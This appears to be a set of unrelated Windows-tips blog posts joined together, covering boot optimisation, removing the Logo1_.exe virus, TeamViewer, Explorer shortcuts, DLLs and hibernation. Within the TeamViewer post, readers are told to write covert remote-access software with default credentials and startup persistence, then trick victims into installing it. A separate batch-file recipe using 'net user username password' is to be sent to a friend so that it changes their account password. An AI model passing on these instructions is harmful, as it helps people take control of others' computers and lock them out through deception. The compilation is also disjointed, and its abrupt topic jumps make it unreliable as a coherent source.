1. Go to your bios and set Hard disk at the top in boot priority list.
2. Remove unnecessary files and short cuts from desktop, store them elsewhere.
3. Remove un necessary programs from start up

Goto start>run and type in msconfig
This will launch the system configuration utility and remove unnecessary programs from startup.

Remove unnecessary programs from system startup

4.Use Microsoft bootvis to optimize your boot time.
Install bootvis , and launch the utility. Click on trace in the menu, and select optimize system.

Optimize windows xp startup time using bootvis

You can check the performance of boot vis by logging the driver delays before and after optimizing the system. To find the driver delays click on nextboot+driver delays. You will get a graph showing the process and the time at which they are launched.

logo1_.exe is a Trojan which allows attackers to access your computer from remote locations, stealing passwords, Internet banking and personal data. This process is a security risk and should be removed from your system.

I’m not sure about the above claim but, any process consuming the system resources uselessly is annoying. My antivirus (AVG) detects this virus but doesn’t clean it completely. I tried deleting it manually but it was coming back again.When i was tired of removing this virus I got this idea and it worked like a charm. We are going to replace the Logo1_.exe file with another harmless executable file and set its permissions to read only. Now the virus wont be back again.

Here is what you exactly do to remove the Logo1_.exe virus:

1. open task manager and look for the process logo1_ and terminate it
2. now go to c:/windows and delete logo1_.exe file
3. create a copy of any exe file ( I used TASKMAN ) and rename it to Logo1_
4. change its permissions to read only.

THAT’S IT…. its the secret Window Welcome Music !! enjoy it !!!

Shubham my new friend and new author on GeniusHackers.com introduced me a amazing software “teamviewer” which lets you connect to any pc in the world through internet. Software’s like this usually don’t work for me as I’m behind an authenticated proxy server. I tried this team viewer as Shubham insisted me to try it. I wasn’t expecting it to work, but I was pleasantly surprised to see it working. This software has amazing features like file transfer, presentation, remote support, vpn. The best use of this software is to provide remote support. Whenever you try to help your family members or friends with problems in their computer via phone or instant messaging most of the times they don’t understand what you are saying or the problem is not communicated properly. But now with this software you can fix any computer connected to the internet just by sitting in front of your computer. You just have to install this software on your system and ask the people on the other side to install the same and tell u the ID and password. Once you enter the id and password you will be able to connect to their system.People on the other side can watch what you are doing on their computer screen and can learn how to fix the problem themselves if it happens again. This login id and password will be valid only for one session.
For those who have never done real hacking and think that it’s tough and impossible…
See this software from a hacker’s perspective. This is something like a Trojan (This isn’t exactly a Trojan, a Trojan installs on the victims computer with out his knowledge and runs in the background)  which installs on the victims computer and give you access to his computer. This software proves that hacking is not impossible.
Try to create a software like this yourself. Set a default login and password to it. Use social engineering to make the victim install this software on his computer (Program the software to start at system startup and run in back ground). Once done you will have complete control over the system. You can view what he/she is doing on his computer.

Here is the direct download link of the software

Download TeamViewer

You can find more about teamviewers features here

1. Open notepad.

2. Type the following command.

@echo off

net user username password

echo “type message here” pause

3. Save as filename.bat and select type of files as all files otherwise, file didn’t work.

4. Send file to your friend through any messenger.

You have successfully managed to change the Password of an user account.

Windows Explorer

1. F2: Rename object - Forget right clicking a file or folder to find Rename option, Just select any file or folder with a single click and press F2 to rename selected object.

2. F6 - Pressing F6 will let you move across various panes of Windows Explorer.

3. Alt + Enter/ Alt+Double Click: Select any object in Windows Explorer and then use Alt+Enter or Alt+Double Click to open properties of the selected object.

4. SHIFT+right click: Displays right context menu containing alternative commands, e.g. you can get an option to Open Command Window here if you use Shift+right click on any explorer object.

5. SHIFT+double click: Runs the alternate default command (the second item on the right context menu). e.g. You can open Explorer View directly by clicking on any folder with Shift key pressed.

6. BACKSPACE: Move to the parent folder. Similar to Up button in Windows Explorer.

7. Ctrl + double click: Using double click on any folder with Ctrl key pressed will open that folder in a new explorer window.

8. SHIFT+click+Close button: this one’s useful if you have used Ctrl+double click to open folders in new windows. Click on the close button of a open folder window with Shift key pressed. This will close all parent folders of that folder.

9 SHIFT:To prevent a CD/DVD from running automatically press and hold Shift while inserting CD/DVD into your optical drive.

10. F3: Pressing F3 while you are in windows explorer will open Windows Search to search for files or folders. This shortcut also works in Firefox which lets you search the opened web page.

11. To copy a file from one folder to another, drag it to another folder with Ctrl key pressed.

12. To create a shortcut to a file or folder, hold down Ctrl+Shift and drag it to desktop or another folder.

13. ALT+SPACE: It’ll display the currently opened window’s System menu (System menu contains options to move, re-size, minimize, maximize, or close the window).

Windows Management

14. CTRL+ESC: Open Start menu, useful if your keyboard does not have a Windows key.

15. Windows Key+M: Minimize all open windows

Get more shortcuts at TechnoTraits

Third-party applications aside from the Windows platform can also employ dynamic-link library (DLL) files to take advantage of the benefits provided by DLLs, particularly in saving RAM and hard disk space. DLLs do not need multiple copies to be present in the system since applications can simultaneously use the functions and protocols embedded on a single DLL. This is why it saves hard disk space and valuable memory resources.

The software developer may use a third-party software module that can be reused to enhance the quality and efficiency of programming custom applications. Once again, developers of these third-party components employ DLLs to enjoy the advantages offered by shared libraries. One of these benefits is modularity, which makes it easy for the programmer to make modifications to code that is often used in a single DLL file applied several times by a program and by various application features.

The utilization of standard interfaces for plug-ins is another advantage obtained by third-party software developers from the employment of DLL files. Only a lone interface may be required to integrate older modules with newer ones on existing applications during run-time without having to alter the application itself.

The programmer connects the code to an import library through an Import Address Table (IAT) when third-party executable files are developed. During run-time, the program fills its IAT with the proper addresses connecting to a function in a DLL file only loaded into memory when it is called.

Similar to DLL files needed by Windows, DLLs employed by third-party applications also contain data, executable code, or resources in any combination. The EXE contains the list of instructions to be performed by a DLL module, while the data and resources provide the appropriate information. DLL files for the 32- and 64-bit operating systems are in the Portable Executable (PE) format, while those for the 16-bit OS are in the New Executable (NE) format.

The NE format is a segmented executable file. The PE format superseded the NE format and has the advantage of not being affected by the type of architecture used.

For more information about the various data formats of a computer, can visit the numerous only free libraries, such as http://www.file-extension.com.

To do this,

1.Hold down the “shift” key in the shutdown dialog to change the “Stand By” to “Hibernate“.

2. Or You can just press H to hibernate instantly.

To enable hibernation go to control panel and click on power options and click on hibernation tab and check the enable hibernation box. To enable hibernation  you should have sufficient free space in C drive. Check the screenshot below if you have any problems

You can even use the Power Control Panel to configure your power button to hibernate. To do this click on the advanced tab and modify power buttons options according to your convenience.( Check the screen shot below)

We shall see how to use Microsoft bootvis to reduce the startup time of your computer in next post. Subscribe to our feed to stay connected.

I personally use mass downloader and found it very useful, this awesome downloader gave me great speeds. Check the screen shot below.

Here are some key features of “Mass Downloader”:

• HTTP, FTP, HTTPS protocol support
• The ability to preview ZIP-archives contents and load only the desired files
• Internal FTP Browser
• Download categories
• Cookies support
• Very fast and reliable file retrieval from the Web and FTP sites
• Maximum Internet connection bandwidth usage when loading several files parts simultaneously
• HTTP and SOCKS Proxy support
• Supports Drag-and-Drop links from Internet Browsers to the Main window and Drop Box, paste links from the Clipboard. Also, Mass Downloader intercepts clicks in Netscape Navigator and Internet Explorer, embeds its item to the Microsoft Internet Explorer context menu
• Fully configurable user interface
• Very easy to use
• Can operate in the background
• You can schedule downloads
• Automatic dialer to connect your Internet Service Provider
• History of all loaded files allows you to easily find them on disk and to get additional server and download information
• Import incompletely downloaded files from other download managers
• The ability to work in an automatic mode

Requirements:

· Memory: 64MB of RAM, or the minimum memory required to run Windows, although more memory is recommended for better performance.
· Disk Space Required to Install Program: 2500KB

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